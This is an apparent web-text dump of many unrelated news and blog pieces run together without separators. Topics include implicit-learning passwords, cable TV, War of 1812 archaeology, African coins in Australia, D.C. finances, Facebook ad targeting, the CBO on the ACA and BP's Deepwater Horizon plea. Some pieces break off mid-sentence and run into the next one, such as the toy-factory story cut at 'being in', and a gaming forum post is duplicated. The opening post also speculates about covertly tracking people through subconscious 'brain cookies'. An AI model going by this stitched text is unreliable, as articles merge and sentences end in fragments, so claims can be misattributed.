In ‘Neuroscience Meets Cryptography: Designing Crypto Primitives Secure Against Rubber Hose Attacks’ Bojinov, Sanchez, Reber, Boneh, and Lincoln introduce a system for using implicit learning to store passwords in people’s subconscious. Because the person does not consciously know the password they will be unable to reveal it even if under legal coercion, interrogation or torture. This post will informally introduce the system and then look at some off-label uses for this and related techniques.
Neuroscience Meets Cryptography
To learn a password: The user plays a game very similar to Guitar Hero for 30 minutes, the game implicitly teaches the user to perform certain actions in certain situations (think something like muscle memory). The game records that they were taught certain subconscious behaviors.
Authentication: The game tests the users ability to play the game for 15 minutes. The responses of the player are dependent on some of the behaviors they subconsciously learned. Thereby the game can learn what password the player was taught.
The player does not consciously know the password. The learning phase and the authentication system are done in a controlled environment so that no one can watch the player play. The player does not have the ability to reveal the password, so the player can not be made to reveal the password, nor can an attacker learn the password using a game without first knowing the password.
Alternative Uses
Brain Cookies: One alternative use of this technology would be to use it to covertly record uniquely identifying information in people’s subconscious. The immediate use of this that jumps out is a replacement for browser cookies. Website forces users to solve captchas to download content. The captchas can be implicit learning devices similar to the system above or they can be trivia questions such as “Who is the 23rd president?” or which of these shapes fit together that rely on explicit learning. Once a user has learned a fact or game, the speed and accuracy at which they answer that question or play that game can be used as identifying information. A big enough set of questions/abilities should be able to uniquely identify a person covertly. So the website does exactly that an tracks users using their own subconscious.
Anti-Cheating: A serious problem facing games such as Poker or World Of Warcraft is how to prevent cheating by collusion or by automation. For example: consider a game in which you want to tell if any of the player avatars are being controlled the same player. Get each avatar to perform game tasks to implicitly trains each player with a different password and then test each avatar to determine if any of the players have multiple passwords.
Or better yet use such a system to determine if a human or bot is playing the game (implicit learning as Turing test). Games such as World of Warcraft attempt to prevent players from using bots. Since a bot is not going to display implicit learning (or usually any learning for that matter), a game can covertly test if any of the players are computers or not by building an implicit learning task into the game mechanics. It is possible to build implicit learning into a computer program, but it is unlikely that a bot maker would consider such an attack in their threat model. Of course this means that the success of such a detection system depends on it’s complete secrecy from the bot makers, but it should not be difficult to build such a detection system such that it would look like a normal part of the game with the actual detection logic existing outside the client.
Johnny Mnemonic/Subconscious Stenography: Use the method in the paper, but instead of storing a password in someones subconscious, store a piece of secret information. The person with this information could act as a data courier similar to the protagonist of the short story Johnny Mnemonic. In fact the courier or mule might not even know they have this data stored inside of them they just played a game. The courier could pass through national borders with nothing incriminating to be found.Moody's: Internet Video Poses No Real Threat to Cable
Earlier this week we noted how Sanford Bernstein are telling investors that none of the emerging Internet video services are a serious threat to cable, and that TV cord cutting is a concept "that sounds great in the abstract but crumbles when faced with the reality." A new research note from investment firm Moody's today takes a similar tack, arguing that limited competition and "customer inertia" means that cable giants don't have much to worry about from 2015's quickly-growing slate of new Internet video options.
"OTT options will take a small number of traditional pay TV subscribers, but the shift in the pay TV sector will be evolutionary, not revolutionary," insists Moody's Vice President Karen Berckmann. "Content providers are treading cautiously so traditional cable operators now have the chance to build financial flexibility and prepare in case industry fundamentals change more significantly."
Between cord cutters and cord nevers, it's estimated that the pay TV industry lost around 1.4 million customers last year. This year we're finally seeing the rise of a slew of new OTT choices from the likes of Dish, HBO, Sony, and eventually HBO and Verizon -- largely thanks to less restrictive broadcaster licensing deals. As such, it seems reasonable to expect to losses to remain small, but notably larger.
Still, Moody's argues that consumer inertia (read: laziness) and a general misunderstanding of the value cable provides means cable operators have plenty of time to adjust their business models. The firm estimates that the cable industry has about five years left to adjust to the shifting landscape before it feels to feel a major pinch, but does warn (as analysts have been doing the last five years) that the relentless parade of TV rate hikes simply aren't sustainable.
"The average customer may not realize how much content traditional pay TV service provides, from video on demand and across multiple devices," claims the firm.Today it's best known for the pagoda, summertime jazz concerts and some of the city's best sledding. But an archaeological dig planned for Patterson Park's Hampstead Hill seeks to revive a largely forgotten 200-year-old story.
While most know Fort McHenry's role in the Battle of Baltimore, thanks to Francis Scott Key and "The Star-Spangled Banner," few know or remember what transpired on the hill overlooking the harbor.
Buried there could lie remnants of the trenches that helped Baltimore fend off advancing British land forces and end the War of 1812.
Archaeologists have been probing the hill this week with ground-penetrating radar and other technology for signs of the fortifications and other traces that more than 10,000 regular troops and militiamen might have left behind. The survey is in preparation for digs scheduled in April and May, when local historians hope people visiting the park for festivals and events will see and learn the history for themselves.
"We've still got cannons out there, but I think that connection has been a little lost over the past two or three generations," said Johns Hopkins, director of nonprofit Baltimore Heritage, which landed grant money for the project. For a Baltimorean 150 years ago, that connection "would have been a no-brainer," he said.
"We're hoping to rekindle that sense of pride."
There are hints of the hill's past if you look closely. One of the cannons flanking the pagoda, added in 1914, the battle's centennial, bears a plaque that simply reads "1814." City school pupils marked the centennial with a statue of schoolchildren holding a scroll, dedicated to "the citizen soldiers of Maryland [who] stood ready to sacrifice their lives in defense of their homes and their country."
But it's the steep slope that wraps around the pagoda's southeast side that is the most direct sign of the hill's history. It was a key defensive point in a miles-long stretch of trenches dug ahead of the British invasion. The British planned an attack by land and by sea, with troops coming from their landing after the Battle of North Point and ships coming past Fort McHenry to bombard the city with cannons.
Baltimoreans knew the British would be eager to plunder the city, which they considered "a nest of pirates," said John Bedell, the project's principal investigator and a senior archaeologist with the Louis Berger Group in Washington. The British were coming off successful attacks on the nation's capital and on Fort Washington in Prince George's County.
Baltimore, a pro-war city that took pride in its privateers who attacked British vessels, was eager to defend itself, Bedell said. The trenches are thought to be systems of pits and hills, with dirt dug from the trenches and piled up behind them, creating steep and tall barriers for defense.
Archaeologists traced their path using maps of the area dating to the Civil War and plans for the park made in the early 20th century by the Olmsted brothers, who also designed New York's Central Park.
Most of the earthworks, which stretched from Fells Point to near Johns Hopkins Hospital, have been buried under buildings. But a team of archaeologists on Monday started surveying a segment that goes through the northwest corner of Patterson Park and plan to continue their work through Friday.
It doesn't look like what most might expect of an archaeological expedition. Amid the snow Tuesday afternoon, geophysical archaeologist Tim Horsley paced segments of the park carrying a magnetometer, a contraption of electronics mounted to pipes shaped like the letter H that beeps like a metronome. The device scans the ground beneath, and the surface as well, for metals.
Wednesday morning, Horsley pushed a device like a jog stroller that dragged a radar antenna over the snow-covered ground, sensing for other objects and geological differences underfoot. The archaeologists also plan to survey what is known as soil resistivity, a measure of how much dirt resists the flow of electricity.
A combination of the pictures each method creates will inform where the archaeologists will start digging on April 15 and into early May. The magnetometer, for example, shows buried metal objects, but many of them could be modern, or even dating to Civil War camps that were in the same area. Radar could show signs of where the trenches had been back-filled.
"They're all teaching us slightly different things," Horsley said.
Baltimore Heritage wants to share those lessons with the community. About 50 people attended a meeting at Patterson Park Public Charter School presenting the project to the neighborhood, and the group again invited the community to learn from the archaeologists at a "Show and Tell" event at 6:30 p.m. Thursday at the Friends of Patterson Park headquarters at 27 S. Patterson Park Ave.
Some already have gotten involved, including Ryun Papson, an archaeologist who lives in Upper Fells Point and joined the surveying this week after learning about it at the community meeting. And there are plans to bring city schoolchildren to visit.
The interest in War of 1812 archaeology is not limited to Baltimore. A nonprofit called the Lost Towns Project is looking for artifacts of and information about skirmishes in Anne Arundel County.
In Baltimore, the digging will coincide with events including a family fun day called Día del Nino on April 26 and the Kinetic Sculpture Race on May 3, giving the public a chance to catch the archaeology in action.
Organizers hope that refreshes the city's collective memory as it prepares to mark the bicentennial of the battle itself on Sept. 14, with the finale of the "Star-Spangled Sailabration" that began in 2012. The celebration is slated to include events at Fort McHenry and at Patterson Park over the weekend of Sept. 13-14.
"My father always said every generation has to discover its own history," Hopkins said. "That, I think, is what we're doing here."
sdance@baltsun.com
twitter.com/ssdanceIn 1944, Australian soldier Maurie Isenberg was assigned to a forward radar station at Jensen Bay on Marchinbar Island in the Northern Territory. While fishing in his spare time he spotted several coins in the sand and placed them in an airtight tin where they remained for 35 years.
In 1979, Isenberg sent the coins off for examination. Several were identified as Dutch East India Company coins, with one dating back to 1690. The other five were copper coins from the medieval Kilwa Sultanate, centred on an island off the east coast of Africa.
How and why do five Kilwa coins, dating from the 1100s to 1300s, find their way to a remote Australian island on the other side of the Indian Ocean?
One man who is hoping to find out is professor of anthropology Ian S McIntosh, an Australian who works at the Indiana University-Purdue University in Indianapolis. Later this year he is leading a team including an historian, anthropologist, archaeologist and geomorphologist to survey the discovery site with a view to applying for an excavation permit.
An expert in Aboriginal religions and cultures, McIntosh is superbly qualified for the task ahead. He’ll work in partnership with the site’s senior Aboriginal custodians and has Aboriginal rangers on the team.
Their starting point is a map on which Isenberg marked an ‘x’ shortly after finding the coins. The initial work, which has financial support from the Australian Geographic Society, includes site surveys, mapping, recording, soil testing, and coastal erosion analysis. Hopefully, it will provide clues to so many unanswered questions about the discovery of ancient African coins in Australia.
“Multiple theses have been put forward by noted scholars and the major goal is to piece together more of the puzzle,” McIntosh said. “Is a shipwreck involved? Are there more coins? All options are on the table but only the proposed expedition can help us answer some of these perplexing questions.”
POST A COMMENT10PM: West Jordan man makes toys for the needy but can't make rent: 'How can I close down now?'
WEST JORDAN — They say that doing good work is its own reward.
While that may be the case for Alton Thacker — whose work brings joy to the young and meaning to those aging — good work will not pay the bills.
Thacker — wearing a blue cap and bifocals — moves quickly, in a way that wouldn't lead you to guess he's 82-years-old. He happily ends every other sentence with a joke, and could talk about his work for hours on end.
For the past 15 years, he's been steering his very own car factory. But Thacker's "cars" are made of wood, and can fit in the palm of your hand.
"I want to be the biggest car dealer in the state of Utah," Thacker said with a laugh.
His little factory cranks out 85,000 of them a year. The cars are then shipped all across the country and all around the world.
He still struggles to maintain his composure while telling the story of how his factory was born, although he's told this story many times over.
"I gave a little girl a toy, and when I saw how she responded, I thought," Thacker said, pausing to find the right words, "you know, she smiled. She was happy."
That single smile lit a fire in Thacker and Tiny Tim's Toy Factory was born. His toy cars are given away to seas of eager hands — many of which belong to children who've never received a gift in their lives. He estimates that hundreds of millions of children are in situations or conditions where they will not get toys. He hopes that his tiny factory can make a difference. The toys from his factory are sent to children in need, locally and around the world.
One of the first things you notice in this factory is the roar of machinery and the fine mist of sawdust floating in the air. Every seat is filled and Thacker smiles when he discusses how his workers are compensated.
"The pay is out of this world, and they've got to go there to get it," he laughed. "If I paid them they wouldn't show up."
Alton Thacker never runs short on cracking jokes. (Photo: Ray Boone)
Not a single one of Thacker's employees has ever received a paycheck. He says he's found a perfect way to ensure they keep coming.
"We give them a toy and send them to lunch," he said. "And when they've come back, they've given that toy away and their smile is greater than the kids' that got the toy. Once they come and hand out a toy, they're hooked."
That leads us to the second thing you notice about Thacker's factory: it's a place where being in |
two decades of uninterrupted growth, the District today is unrecognizable as the bureaucracy that was hurtling toward financial ruin when it was rescued by Congress in the 1990s.
But many are questioning whether the city has learned too well the lessons of its humiliating stint under a federal financial control board. They say D.C. officials are now hoarding money better spent on social ills, such as an alarmingly high rate of homelessness, that continue to mar the city’s much-celebrated revival.
The debate intensified this week, as Mayor Muriel E. Bowser (D) delivered a $13.8 billion budget to the D.C. Council that proposes only modest spending increases for affordable housing, homeless services and education. Meanwhile, the budget would continue to build up reserves that have grown to $2.4 billion.
That amount — about enough to run the city of San Antonio for a year — is more than triple the District’s deficit when then-Mayor Marion Barry Jr. (D) went to Capitol Hill pleading for a bailout and precipitating the control board’s creation in 1995. How it is used could profoundly influence the District’s direction in uncertain times.
As they face growing pressure to spend, D.C. officials are also trying to gauge the threat posed by the White House to their hard-won financial stability. President Trump wants federal budget cuts that could weaken city social programs and decimate the federal workforce, which accounts for 1 in 4 District jobs.
Former mayor Anthony Williams (D), who also served as chief financial officer during the early years of the control board, said now is not the time to begin experimenting with a more relaxed approach to fiscal management.
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“Everybody’s running around town and talking about how great everything is,” said Williams, now executive director of the Federal City Council, a civic-improvement group. “There are a lot of forces now that are beginning to forget what the control board was like, and why we had a control board.”
The circumstances that begot Congress’s six-year takeover of the District’s finances after years of budgetary missteps by mayors Barry and Sharon Pratt Kelly (D) were not simple. But Williams said the predicament was shaped in part by the same noble impulses driving current criticism of how the District manages its money.
“We had promised everything to everybody and were doing practically nothing for anyone,” he said. “There’s only so much you as a city can do to solve all the world’s problems.”
Since then, the District has come a long way.
A mix of financial restructuring and assistance imposed by the control board — including the establishment of a powerful, independent chief financial officer and the federal government’s assumption of much of the city’s old pension burden — laid the groundwork for the District’s renaissance.
The city’s booming population — now at 681,000, up from a post-World War II low of 565,000 in 1998 — has also flooded its coffers with tax dollars. The District faces unusual financial handicaps, such as its inability to tax federal property or the incomes of nonresident workers, but it compensates by levying a trifecta of property, income and sales taxes. Few cities have all three, said Michael A. Pagano, dean of the College of Urban Planning and Public Affairs at the University of Illinois at Chicago.
Tom Davis, a former Republican congressman from Virginia who served on the committee overseeing District affairs during the control board era, said some of his successors on Capitol Hill still do not understand the extent to which the city has outgrown its once-deserved reputation as a financial basket case.
“I don’t think word has gotten back to members of Congress that this city is actually pretty responsible,” Davis said. “On the fiscal issues, on building a tax base, on the issues that are just basic to governance, this city is a leader.”
But Ed Lazere, executive director of the D.C. Fiscal Policy Institute, a left-leaning think tank, said the District has erred by placing an absolutist vision of financial responsibility ahead of the needs of residents who have been harmed by gentrification.
“I don’t think anybody can disagree that the District’s finances are amazingly strong, and maybe stronger than they’ve ever been,” Lazere said. “It’s been a tremendous missed opportunity in recent years that we haven’t used our surplus... to reinvest in the city and to address the uneven impacts of the city’s growing prosperity.”
The Fiscal Policy Institute was one of more than 90 organizations, many of them providers of social services, that sent a letter to Bowser last month urging her to delay tax cuts scheduled to take effect next year and instead spend surplus dollars on affordable housing, schools or public transit.
The tax reductions, some aimed at lower- and middle-income D.C. families, are triggered when the city brings in more revenue than expected; essentially, the District is giving away some of its surplus money in the form of tax relief.
In the letter, the organizations said the city’s strict rules for managing its money force District officials to “govern with their hands tied.”
D.C. Chief Financial Officer Jeffrey S. DeWitt said the city has nearly reached its goal of having enough money in the reserves to run the government for 60 days. Once that mark is hit, future surpluses will go toward affordable housing and infrastructure under a formula established by the council.
Those amounts could be substantial: By the end of this fiscal year, DeWitt projects, the city will have raked in surplus revenue of $128 million.
DeWitt cautioned against easy prescriptions for drawing on the reserves to fund social programs. Only about $1.2 billion of the reserves is now accessible, he said, with the rest locked up for special purposes, such as debt payments or cleanup of the Anacostia River.
Dipping into the available money prematurely, DeWitt said, could have counterintuitive effects, causing bond-rating agencies to downgrade the District’s credit rating and leading to higher borrowing costs that would force cuts to existing programs.
Furthermore, under the rules established by the control board, a drawdown on the reserves must be paid back within two years, he said. “They’re not spending it,” DeWitt said. “They’re borrowing it, and they have to pay it back in two years.”
Bowser said this week that she does not intend to move money out of the reserves or delay tax cuts. It remains unclear whether any council members will prove sympathetic to those protesting the District’s rigid fiscal policies.
The District already spends large sums on education and social services, which account for more than half — about $4 billion — of local spending in Bowser’s proposed budget.
Close inspection of the District’s government programs regularly raises questions about whether funds are well-spent. Just last month, a report by the D.C. auditor found that the city has mismanaged its trust fund for affordable housing, which has doled out $700 million to help developers over the past 15 years.
“There is a feeling among many that we’re spending a lot without a clear vision for how to actually achieve results,” council member Vincent C. Gray (D-Ward 7), a former mayor, said at the council’s first budget hearing Thursday.
Council Chairman Phil Mendelson (D) was blunt about proposals to tap the reserves. “If we spend it, we don’t have it,” he said. “The point is to have it, so we’re protected.”
Mendelson was nevertheless unable to resist sounding an optimistic note in his April newsletter, which pointed out that the District’s operating revenue would grow by $312 million next year even after the required amounts had been siphoned into the reserves.
The newsletter had a headline that would have seemed like a bad joke in 1998, when Mendelson was first elected and the control board held sway:
“Budget Season is Here and A Lot of Money is Available.”
Aaron C. Davis contributed to this report.The 2012 GOP platform features a bold new development in the party's position on abortion: an official endorsement of the medically unsupported claim that fetuses can feel pain before they are viable.
The platform calls for legislation "to protect from abortion unborn children who are capable of feeling pain" and "applaud[s] U.S. House Republicans for leading the effort to protect the lives of pain-capable unborn children in the District of Columbia."
The District of Columbia Pain-Capable Unborn Child Protection Act, authored by Rep. Trent Franks (R-Ariz.), bans abortions after 20 weeks of pregnancy based on the claim that fetuses can feel pain at that point. Several states, including Nebraska, have passed similar so-called "fetal pain bills."
In fact, the American Congress of Obstetricians and Gynecologists takes the position that there is no legitimate scientific information that supports the statement that a fetus experiences pain. A 2011 study in the Journal of Law, Medicine & Ethics found no conclusive evidence that fetuses feel pain or are viable at 20 weeks, and a 2005 study published in the Journal of the American Medical Association found that fetuses are likely incapable of feeling pain until the third trimester.
The D.C. abortion ban sparked a lively protest at Frank's office and failed to pass in the Republican-controlled House. The fact that the Republican Party is touting it and endorsing the medical claim behind it marks a bold development in the party's official position on abortion.fullscreen continue view fullscreen close
The GVSHP (Greenwich Village Society for Historic Preservation) is one of a few wonderful organizations that offer up great little archives of old New York images, and their collection just expanded with around 500 digitized photographs from the 1960s through the 1990s. The collection is titled "Carole Teller’s Changing New York," and mainly brings you through the artist's East Village neighborhood (and surrounding areas) over those four decades.
A rep for the GVSHP tells us all of the images are now online (view them here), and offer up "an incredible story of change in New York over the last half century... [Teller] had a keen and prescient eye catching things on the verge of change, erasure, demolition, restoration, or renewal."
Prints of the images are for sale, with proceeds benefitting GVSHP. Click through the above photos for a preview of the collection, featuring images from the 1960s, '70s, and '80s.Ahros: One Warrior Chronicle will get a new dungeon full of fierce beasts and puzzles.
Posted by 4ILab on Mar 23rd, 2017
Indie developer, 4 I Lab is glad to announce that their VR adventure game Ahros: One Warrior Chronicle will be updated on March 23. You'll be able to immerse into the atmosphere of an abandoned industrial plant, full of fierce beasts and puzzles, in which a player will get new experiences of operating heavy guns and machinery.
Ahros: One Warrior Chronicle is an adventure VR-game where you shoot big guns, fly dragons and do many other things while restoring peace and order in a world destroyed by global war.
Your character is a young lieutenant sent to a distant industrial complex, to restore its production after the war and to investigate disappearance of his predecessor. In order to do so, you have to:
- Explore picturesque landscapes and dungeons in VR
- Shoot Big Guns
- Fight fierce monsters
- Operate heavy machinery
- Solve puzzles
- Fly Dragons
Ahros: One Warrior Chronicle goes far beyond mainstream VR mechanics. It is an adventure that combines multiple VR experiences united with an interesting story line that helps players to immerse into the world of Ahros.
Have a good game.(Mary Altaffer/AP Photo)
Green Party candidate Jill Stein and her vice presidential running mate Cheri Honkala were arrested at the Hofstra University debate site today as they protested their exclusion from the second presidential debate.
Stein and Honkala were jailed for disorderly conduct around 3 p.m. when they were blocked by police officers as they attempted to enter the debate hall, according to Stein's campaign manager Ben Manski.
Manski said that it was unclear when they would be released, but they could remain jailed until midnight. The Nassau County Police Department said that it was unclear when Stein and Honkala might be released.
"The arrest was outrageous and shouldn't be tolerated in a country that is a leading proponent of democracy," Manski told ABC News. "They knew that there was the possibility that they would be arrested. Their intention was to enter the premises and bear witness to the mockery of democracy that is tonight's debate," he said.
The Green Party has long complained that the Commission on Presidential Debates attempts to "rig elections" in favor of the two major political parties by excluding third party candidates from debates. Stein and Honkala also planned protests at the first presidential debate in Denver.
Stein, a licensed physician, is on the presidential ballot in 38 states or 85 percent of the ballots, her campaign says.
The Commission on Presidential Debates was formed in 1987 to administer general election debates.
In addition to the constitutional criteria to be eligible for the presidency, the Presidential Debate Commission requires that candidates have a mathematical possibility of achieving the 270 electoral college votes necessary to be elected, and the candidates must have at least 15 percent support in public opinion based on the average of five national polls in order to participate.The "very liberal" bundle included an estimated audience of 28.6 million people broken down into three groups — “youthful urbanites,” “transitionals,” and “politically engaged city dwellers.” The "very conservative" bundle included an estimated audience of 22.8 million people broken down into three groups — “post grad nest builders," “family values,” and “the great outdoors.”
According to a political advertising sales pitch obtained by BuzzFeed News, Facebook carved the US electorate into 14 segments — from left-leaning "youthful urbanites" to a pro-NRA, pro–Tea Party group it bizarrely labeled as "the great outdoors." It detailed their demographic information — including religion and race in some cases — and offered them to political advertisers via Facebook’s sales teams. For advertisers using Facebook’s self-serve platform, the segments could be reached by purchasing larger bundles ranging from “very liberal” to “very conservative.”
During the 2016 election season, Facebook provided political advertisers with a targetable breakdown of a fractured United States, which could’ve been used as a blueprint for exploiting the country’s divisions.
“We typically help marketers across all verticals understand audiences this way, and we briefly used this framework to help inform how a small number of marketers built their campaigns,” a Facebook spokesperson told BuzzFeed News, adding the pitch had been removed as part of a "regular refresh." Said the spokesperson, “these segments are no longer available.”
A senior Democratic operative who’s run extensive digital political campaigns suggested political targeting options of the sort Facebook offered might be particularly intriguing to people looking to sow discord in the political system. “Any legitimate, aboveboard organization that is trying to actually win an election is going to have a much higher set of standards,” the operative told BuzzFeed News. “This type of approach is almost exclusively designed for nonpolitical professional people who want to mix it up,” or cause chaos.
Campaigns looking to win elections, the operative said, would likely target more sophisticated, granular segments built using voter file and email data. But to those without access to proprietary data, the targeting options Facebook detailed in its pitch could be appealing.
“Small town America,” one of the segments, was made up of 5.7 million people who were “anti-Obama,” for instance. A bad actor looking to sow division in the country might use such information to create ads exploiting some people’s disdain for the then-president.
A person familiar with the Trump campaign’s Facebook operation told BuzzFeed News the campaign used some the company's broader targeted categories — such as “conservative” or “very conservative” — during the US 2016 presidential primary in an effort to spread Trump's message wide and take advantage of cheaper ad rates. The Trump campaign went on to use microtargeting on a more specific basis than Facebook’s categories allowed for during the general election.
It’s worth noting that simply showing political advertisers how segments of Americans might feel about certain issues doesn't necessarily fuel further division in the country. “Anything on Facebook could be used to polarize — segments existing aren’t the problem,” the person close to the Trump campaign told BuzzFeed News.
But making such segments available, marketing them in a way in which the could be used to exploit divisions, and failing to safeguard against such exploitation is where this could become a problem. Said the same person,“The [real issue] is — will Facebook self-regulate and police this?”
Indeed, it's increasingly clear that Facebook did not police its platform effectively during the 2016 election. This week, the company will have to answer questions from Congress about its missteps, including how it allowed a $100,000 Kremlin-linked ad buy intended to influence the election and sow discord in its aftermath. Asked if any of the 14 segments were targeted in that ad buy, a Facebook spokesperson said they were not, noting that the segments were available only through sales teams from whom the Russians did not buy ads. Asked if the Russians used the broader, umbrella categories in their targeting, a Facebook spokesperson reiterated Facebook's intention to let Congress decide whether to release the ads and associated data.Quote
After way too long of a break Mactoria's Secret, SWTOR's most notoriously rigged Community Event, returns to The Red Eclipse - less rigged than ever (no, really)!
For those who don't know, Mactoria's Secret is a fashion show I regularly conduct to steal other people's looks, feel better about my own and have an excuse to wear my sunglasses and scarf indoors. Alternatively: It's a stage for you guys to proudly present the character you have been working on since forever.
We all know the ultimate goal is to earn my approval, but to spice things up the winner will receive a code for 2400 Cartel Coins. How to win, you ask? I'll be judging every one of the participants with my renowned nitpickiness until there is only a certain number left (that's the rigged part). From then on, I'll be running a straw poll in my stream's chat deciding who will be the glorious victor (that's the new kind of less-rigged-than-ever part, I guess).
But of course we're all winners, so I'll be giving away codes for Cartel Coins during the event for anyone watching the show over on
If you're wondering what all that actually looks like in practice, or what that nonsense about me wearing sunglasses and a scarf I mentioned earlier was about - here's a replay of one of the events to give you an idea:
To sign up, simply reply to this thread with your Name and Faction (Harassin - Empire). Alternatively you can hit me up on Twitter, Twitch or ingame. Please understand that it's first come first serve, I might not be able to invite everyone. Also, I'd ask anyone signing up to be online around 30 minutes before the show starts, so I can roll out the invites.
That is 7th May, 19:00 BST on The Red Eclipse.
I always have a great time doing these so I'm really looking forward to it and can't wait to see all the different ways you original people make use of a Black and Black Dye (not judging, it does look kinda cool)!
Hope to see you there,
Mac Hey guys!After way too long of a break Mactoria's Secret, SWTOR's most notoriously rigged Community Event, returns to The Red Eclipse - less rigged than ever (no, really)!For those who don't know, Mactoria's Secret is a fashion show I regularly conduct to steal other people's looks, feel better about my own and have an excuse to wear my sunglasses and scarf indoors. Alternatively: It's a stage for you guys to proudly present the character you have been working on since forever.We all know the ultimate goal is to earn my approval, but to spice things up the winner will receive a code for. How to win, you ask? I'll be judging every one of the participants with my renowned nitpickiness until there is only a certain number left (that's the rigged part). From then on, I'll be running a straw poll in my stream's chat deciding who will be the glorious victor (that's the new kind of less-rigged-than-ever part, I guess).But of course we're all winners, so I'll be giving away codes for Cartel Coins during the event for anyone watching the show over on https://www.twitch.tv/macgeiler If you're wondering what all that actually looks like in practice, or what that nonsense about me wearing sunglasses and a scarf I mentioned earlier was about - here's a replay of one of the events to give you an idea: https://www.twitch.tv/videos/126491642 To sign up, simply reply to this thread with your Name and Faction (Harassin - Empire). Alternatively you can hit me up on Twitter, Twitch or ingame. Please understand that it's first come first serve, I might not be able to invite everyone. Also, I'd ask anyone signing up to be online around 30 minutes before the show starts, so I can roll out the invites.I always have a great time doing these so I'm really looking forward to it and can't wait to see all the different ways you original people make use of a Black and Black Dye (not judging, it does look kinda cool)!Hope to see you there,Mac
Sharp Dresser
<Take a Seat>
twitch.tv/MacGeiler
HarassinSharp DresserA large section of London’s Oxford Street could be traffic-free by next December under a proposal unveiled by the mayor on Monday to improve the area for shoppers.
A public consultation has opened into banning all forms of transport between Oxford Circus and Orchard Street to coincide with the launch of the new Elizabeth line at the end of 2018.
The £60m plan is aimed at tackling growing air quality concerns, high accident and collision rates and congestion at peak travel times. Transport for London (TfL) has been working since summer last year to reduce the number of buses operating along Oxford Street.
The half-mile western section between Oxford Circus and Orchard Street would be traffic-free for east-west traffic – and buses diverted – while some north-south routes would be retained. Cyclists would be required to dismount on this route, while new and extended taxi ranks would be created near Oxford Street for cabs to pick up and drop off customers.
Unveiling the blueprint with Robert Davis, deputy leader of Westminster city council, Sadiq Khan hailed it as “a hugely exciting moment for the capital”.
He said: “Oxford Street is world famous with millions of visitors every year, and in just over a year the iconic part of the street west of Oxford Circus could be transformed into a traffic-free pedestrian boulevard.
Want to be a truly radical London mayor, Sadiq Khan? Here’s how | Jonn Elledge Read more
“Whether you’re a local resident, a business or shop in some of the area’s famous stores, our plans will make the area substantially cleaner and safer for everyone, creating one of the finest public spaces in the world.”
The mayor said he would continue to work closely with residents, businesses and Westminster council “to ensure the plans are the very best they can be”. Residents in areas such as Marylebone are concerned about the impact of rerouting traffic.
The proposals are backed by the New West End Company, which represents some 600 retailers in the area. More than 3.5 million people visit Oxford Street each week, and the Bond Street, Oxford Street and Regent Street area contributes about £7.6bn each year to the UK economy. Its chief executive, Jace Tyrrell, said: “Removing the wall of red buses from Oxford Street will reduce congestion and improve air quality.”
The plan is the first of three phases for the transformation of Oxford Street, to be followed by the stretch between Oxford Circus and Tottenham Court Road and then between Marble Arch and Orchard Street. TFL said the first phase would cost about £60m with plans for the full revamp – funded by the government and the private sector – hopefully in place by 2021.Win McNamee/Getty Images In their sales pitch for the American Health Care Act, House Speaker Paul Ryan and other Republicans have maintained that replacing the Affordable Care Act is necessary because the healthcare law, better known as Obamacare, is "collapsing."
The nonpartisan Congressional Budget Office, evidently, disagrees.
In the CBO's report predicting the effects of the AHCA, the nonpartisan budget office on Monday said the individual health-insurance marketplace under both the current system and the proposed system would be stable.
"In CBO and JCT's assessment, however, the non group market would probably be stable in most areas under either current law or the legislation," the report said.
The CBO said the ACA had maintained stability mostly because of its structure of providing tax subsidies for lower-income people to purchase insurance. While premiums have increased in the exchanges, Obamacare's tax credits adjust for income and cost of living, so a vast majority of people on the exchanges could access coverage for less than $100 a month.
"Under current law, most subsidized enrollees purchasing health insurance coverage in the non-group market are largely insulated from increases in premiums because their out-of-pocket payments for premiums are based on a percentage of their income; the government pays the difference," the CBO report said.
On the other hand, the CBO also said the AHCA would maintain that stability despite lowered tax credits.
"Even though the new tax credits would be structured differently from the current subsidies and would generally be less generous for those receiving subsidies under current law, the other changes would, in the agencies' view, lower average premiums enough to attract a sufficient number of relatively healthy people to stabilize the market," the report said.
Some of this stability would come from the lower total number of people on the exchanges — the CBO projected that 24 million Americans would lose their insurance by 2026 under the new legislation, with a good chunk coming from the individual market. Other factors would come from the AHCA's state innovation grants, which the CBO said would allow states to find ways to stabilize their markets.
This isn't necessarily a new revelation from the CBO: It has previously said the ACA would maintain a stable market. Additionally, despite Ryan's and other GOP leaders' insistence that Obamacare is entering a "death spiral," an analysis from the Brookings Institution showed that the ACA's exchanges did not fall under that definition.Mel Kiper released his most recent NFL mock draft and he has the Atlanta Falcons selecting OLB/DE Vic Beasley.
Mel Kiper has released his latest mock draft (4.0) and he has the Atlanta Falcons selecting Clemson’s Vic Beasley with the eighth overall pick.
8 Vic Beasley OLB/DE, Clemson Vic Beasley is a fierce OLB/DE that can provide an instantaneous pass rush for the Atlanta Falcons. Beasley has shown high interest in playing for Dan Quinn and his defensive scheme, saying it would be a “dream come true” playing for his favorite team in his childhood. Some may consider this a reach pick, but drafting Beasley could pay huge dividends for the team..
“He just said that he had guys like Bruce Irvin and other similar guys to me that could play that Leo position,” Beasley said, via ESPN.com. “That’s kind of where we connected right there. I fit the Leo position because a guy like Bruce Irvin, we’re similar body types. And we have similar games. We’re both great edge-rushers.”
This is the second time that Kiper had Beasley going to the Falcons.
Kiper Mock Draft 1.0: Dante Fowler OLB/DE
Kiper Mock Draft 2.0: Arik Armstead OLB/DE
Kiper Mock Draft 3.0/4.0: Vic Beasley OLB/DE
Let’s analyze the possibility of Beasley going to the Atlanta Falcons with the eighth pick.(Updated, Live Blogging) BP Admits Criminal Liability Over Deepwater Horizon, To Pay $4.5 Billion; 2 BP Employees Face Manslaughter Charges
November 15th, 2012 by Chris Milton
“The company said it would plead guilty to 11 felony counts related to the workers’ deaths, a felony related to obstruction of Congress and two misdemeanors.” (Reuters)
Update 4:20pm EST: Reuters reports: “U.S. Attorney General Eric Holder called the deal a ‘critical step forward’ but was adamant that it did not end the government’s criminal investigation of the spill.”
Update 4:13pm EST: CBS News reports: “Two men who worked for BP during the 2010 Gulf oil spill disaster have been charged with manslaughter and a third with lying to federal investigators, according to indictments made public Thursday, hours after BP announced it was paying $4.5 billion in a settlement with the U.S. government over the disaster.”
Update 4:04pm EST: BP has agreed to pay $4.5 billion in charges, including $1.26 billion in criminal fines.
BP will admit criminal liability over the Deepwater Horizon catastrophe, according to Reuters.
The plea is understood to be part of an agreement the company is expected to strike with the US Department of Justice and the Security and Exchanges Commission in return for immunity from any future prosecutions connected to the disaster.
